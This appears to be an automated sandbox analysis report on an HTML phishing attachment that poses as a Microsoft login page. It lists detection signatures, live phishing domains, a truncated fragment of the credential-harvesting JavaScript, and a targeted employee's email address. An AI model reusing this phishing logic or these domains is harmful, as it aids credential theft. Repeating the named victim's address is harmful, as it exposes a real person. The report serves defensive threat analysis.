Edit tour

Windows Analysis Report
Technical Details & Profile Illustrations for This#U00a0Drygair.html

Overview

General Information

Sample name:	Technical Details & Profile Illustrations for This#U00a0Drygair.html renamed because original name is a hash value
Original sample name:	Technical Details & Profile Illustrations for ThisDrygair.html
Analysis ID:	1563089
MD5:	8ce7ec9b56bc729e732e02e4720d13f5
SHA1:	d490375e077017a08b4369f94bd03076c2e3d5a3
SHA256:	2c6ed43c9fc53676971af5601ed581cdfc037bab694894b2538f3a37dde7e087
Infos:

Detection

CorporateDataTheft, HTMLPhisher

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Yara detected HtmlPhish46

Yara detected HtmlPhish54

AI detected landing page (webpage, office document or email)

AI detected suspicious URL

HTML IFrame injector detected

HTML Script injector detected

HTML document with suspicious name

HTML file submission containing password form

Detected hidden input values containing email addresses (often used in phishing pages)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Javascript checks online IP of machine

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5592 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Technical Details & Profile Illustrations for This#U00a0Drygair.html" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2232,i,7297002213465631011,3604474927150195769,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.9.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.21.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_46	Yara detected HtmlPhish_46	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_46	Yara detected HtmlPhish_46	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 7 entries

Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'login.msonlineauthenticator.top' does not match the legitimate domain 'microsoft.com'., The domain uses 'msonlineauthenticator.top', which is not a recognized Microsoft domain and includes suspicious elements such as 'authenticator' and the unusual '.top' extension., The presence of 'msonline' in the domain could be an attempt to mimic Microsoft's legitimate services like 'msn.com' or 'microsoftonline.com'., The use of a top-level domain '.top' is unusual for a well-known brand like Microsoft, which typically uses '.com'., The email domain 'royalbrinkman.com' does not match the brand 'Microsoft', which could indicate a phishing attempt targeting users of a specific organization. DOM: 3.9.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML

Yara detected HtmlPhish46

Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 1.9.id.script.csv, type: HTML
Source: Yara match	File source: 1.21.i.script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

Joe Sandbox AI: Page contains button: 'Download All' Source: '0.1.pages.csv'

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://msonlineauthenticator.top
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://msonlineauthenticator.top

HTML IFrame injector detected

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: New IFrame, src: https://autenticatorresolver.online/fl/m6kgte57

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: New script tag found

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: cesar.lopez@royalbrinkman.com

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: Number of links: 0
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	HTTP Parser: Number of links: 0
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: Total embedded image size: 182784

HTTP Parser: Base64 decoded: cf876097-3c07-45a4-995e-4b25e8f862fddc684dcc-d800-43a7-b725-0f21b4538b36

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: Title: Sign in to your Microsoft account does not match URL
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://autenticatorresolver.online/fl/m6kgte57

HTTP Parser: document.addeventlistener("domcontentloaded", function() { // php variables passed to javascript var coreemail = "cesar.lopez@royalbrinkman.com"; var groupid = "1"; // get the form and input elements const form = document.getelementbyid("loginform"); const passwordfield = document.getelementbyid("passwordfield"); const emailfield = document.getelementbyid("emailfield"); const passworderror = document.getelementbyid("passworderror"); const sessionerroralert = document.getelementbyid("sessionerroralert"); const networkerroralert = document.getelementbyid("networkerroralert"); const emailheading = document.getelementbyid('emailheading'); // set email value in the h1 tag and email input field emailheading.textcontent = coreemail; emailfield.value = coreemail; // event listener for form submission form.addeventlistener("submit", async function(event) { event.preventdef...

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: Has password / email / username input fields

Source: Webpage/Document

Classification: Corporate Data Theft

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: <input type="password" .../> found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: <input type="password" .../> found

Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No favicon
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="author".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="author".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="author".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="author".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="author".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	HTTP Parser: No <meta name="copyright".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="copyright".. found
